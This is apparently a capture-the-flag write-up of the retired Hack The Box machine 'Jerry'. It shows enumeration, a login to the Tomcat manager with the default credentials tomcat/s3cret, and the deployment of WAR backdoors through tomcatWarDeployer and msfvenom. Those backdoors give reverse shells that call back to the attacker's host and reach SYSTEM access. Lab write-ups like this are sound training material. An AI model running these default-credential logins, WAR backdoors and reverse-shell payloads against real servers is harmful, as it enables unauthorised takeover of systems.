Site just retired, focussed on Tomcat and malicious WAR files! Lets get started.

Enumeration

As always, lets Nmap the box:

[bash]

Nmap 7.70 scan initiated Sat Jun 30 19:27:39 2018 as: nmap -sC -sV -oA initial-nmap -p- 10.10.10.95
Nmap scan report for 10.10.10.95
Host is up (0.22s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88

[/bash]

Initial scan shows that a site is running at 8080 and that it is probably a Tomcatsite. Lets’s connect:

Yep. Thats Tomcat alright. Lets start gobuster to see what dirs we can find:

[bash]

sudo gobuster -u <a href="http://10.10.10.95:8080">http://10.10.10.95:8080</a> -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x html,pdf,txt,cgi,php

Gobuster v1.4.1 OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : <a href="http://10.10.10.95:8080/">http://10.10.10.95:8080/</a>
[+] Threads : 10
[+] Wordlist : /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 301,302,307,200,204
[+] Extensions : .html,.pdf,.txt,.cgi,.php
=====================================================
/docs (Status: 302)
/test (Status: 302)
/examples (Status: 302)
/manager (Status: 302)

[/bash]

That /manager part looks interesting. It’s also noted on the screenshot above. Lets visit the url:

It triggers a user name and password. Lets press Escape to get out of the login. Huh, we’re presented with a weird error message.

So the error message displays how to setup a user. As an example, it notes ‘tomcat’ as user name and ‘s3cret’ as a password. What happens if we just try these default credentials?

Guess we are lucky :).

Exploitation

After doing some research, I end up at this site that describes how to create a WAR package that triggers a reverse shell. The post from 2012 explains:

“If we have performed a penetration test against an Apache Tomcat server and we have managed to gain access then we might want to consider to place a web backdoor in order to maintain our access.Apache Tomcat accepts .WAR file types so our backdoor must have this file extension.In case that we don’t have a WAR backdoor already in our disposal we can use Metasploit to create one very fast.” Searching Metasploit didn’t really give me anything useful intially, so I Googled on. It then found the tomcatWarDeployer, which perfectly seemed to fit my needs.

Lets run it:

[bash]

sudo python tomcatWarDeployer.py -v -U tomcat -P s3cret -H mylocalIPadress -p 1337 10.10.10.95:8080

tomcatWarDeployer (v. 0.4)
Apache Tomcat auto WAR deployment & launching tool
Mariusz B. / MGeeky ’16-18

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.

INFO: Reverse shell will connect to: mylocalIPadress:1337.
DEBUG: Browsing to "<a href="http://10.10.10.95:8080/">http://10.10.10.95:8080/"…</a> Creds: "tomcat:s3cret"
DEBUG: Trying to fetch: "<a href="http://10.10.10.95:8080/">http://10.10.10.95:8080/"</a>
DEBUG: Probably found something: Apache Tomcat/7.0.88
DEBUG: Trying to fetch: "<a href="http://10.10.10.95:8080/manager">http://10.10.10.95:8080/manager"</a>
DEBUG: Probably found something: Apache Tomcat/7.0.88
DEBUG: Apache Tomcat/7.0.88 Manager Application reached & validated.
DEBUG: Generating JSP WAR backdoor code…
DEBUG: Preparing additional code for Reverse TCP shell
DEBUG: Generating temporary structure for jsp_app WAR at: "/tmp/tmpkmv2aR"
DEBUG: Working with Java at version: 10.0.1
DEBUG: Generating web.xml with servlet-name: "JSP Application"
DEBUG: Generating WAR file at: "/tmp/jsp_app.war"
DEBUG: added manifest
adding: files/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/web.xml(in = 505) (out= 254)(deflated 49%)
adding: files/META-INF/(in = 0) (out= 0)(stored 0%)
adding: files/META-INF/MANIFEST.MF(in = 66) (out= 66)(deflated 0%)
adding: index.jsp(in = 4494) (out= 1686)(deflated 62%)
INFO: It looks that the application with specified name "jsp_app" has not been deployed yet.
DEBUG: Deploying application: jsp_app from file: "/tmp/jsp_app.war"
DEBUG: Removing temporary WAR directory: "/tmp/tmpkmv2aR"
DEBUG: Succeeded, invoking it…
DEBUG: Spawned shell handling thread. Awaiting for the event…
DEBUG: Awaiting for reverse-shell handler to set-up
DEBUG: Establishing listener for incoming reverse TCP shell at mylocalIPadress:1337
DEBUG: Socket is binded to local port now, awaiting for clients…
DEBUG: Invoking application at url: "<a href="http://10.10.10.95:8080/jsp_app/">http://10.10.10.95:8080/jsp_app/"</a>
DEBUG: Adding ‘X-Pass: 9PHwwfFA9Ald’ header for shell functionality authentication.
DEBUG: Incoming client: 10.10.10.95:49195
DEBUG: Application invoked correctly.
INFO: JSP Backdoor up & running on <a href="http://10.10.10.95:8080/jsp_app/">http://10.10.10.95:8080/jsp_app/</a>
INFO: Happy pwning. Here take that password for web shell: ‘9PHwwfFA9Ald’
INFO: Connected with: nt authority\system@JERRY

C:\apache-tomcat-7.0.88> whoami
nt authority\system

[/bash]

Game, set and match.

Another way to do this, is to use msfvenom to generate a payload. We then upload the payload and execute it by visiting it. On our end, we setup a listener and upgrade the shell we get to meterpretershell. I got this idea from the following Youtube video:

https://www.youtube.com/watch?v=wF9CJ59D0tQ

First, generate the payload:

[bash]

msfvenom -p java/shell_reverse_tcp LHOST= XXX LPORT=1337 -f war > pwnd.war

sudo msfvenom -p java/shell_reverse_tcp LHOST=mylocalIPadress LPORT=1337 -f war > pwnd.war
Payload size: 13402 bytes
Final size of war file: 13402 bytes

[/bash]

Then, setup a listener to catch the session:

[bash]

msf exploit(multi/handler) > set LHOST mylocalIPadress
LHOST => mylocalIPadress
msf exploit(multi/handler) > set LPORT 1337
LPORT => 1337
msf exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf exploit(multi/handler) > set payload java/shell_reverse_tcp
payload => java/shell_reverse_tcp
msf exploit(multi/handler) > run

[/bash]

Proceed to upload the .war file and visit the approriate site to trigger the payload. You should get a shell:

[bash]

[*] Started reverse TCP handler on mylocalIPadress:1337
[*] Command shell session 1 opened (mylocalIPadress:1337 -> 10.10.10.95:49196) at 2018-07-07 18:46:33 +0000

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>

Background session 1? [y/N] y

[/bash]

After background the session, you can use the shell_to_meterpreter module to upgrade the session.

[bash]

Name Disclosure Date Rank Description
—- ————— —- ———–
post/multi/manage/shell_to_meterpreter normal Shell to Meterpreter Upgrade

msf exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter

msf post(multi/manage/shell_to_meterpreter) > set LPORT 1337
LPORT => 1337
msf post(multi/manage/shell_to_meterpreter) > run
msf post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
===============

Id Name Type Information Connection
— —- —- ———– ———-
1 shell java/java Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All righ… mylocalIPadress:1337 -> 10.10.10.95:49196 (10.10.10.95)

msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1

C:\Users\Administrator\Desktop\flags>

[/bash]

Privilege escalation

Not needed, since you are already sytem. Flags can be found in C:\Users\Administrator\Desktop\flags>

As always, IppSec created an awesome and very informative video about this box.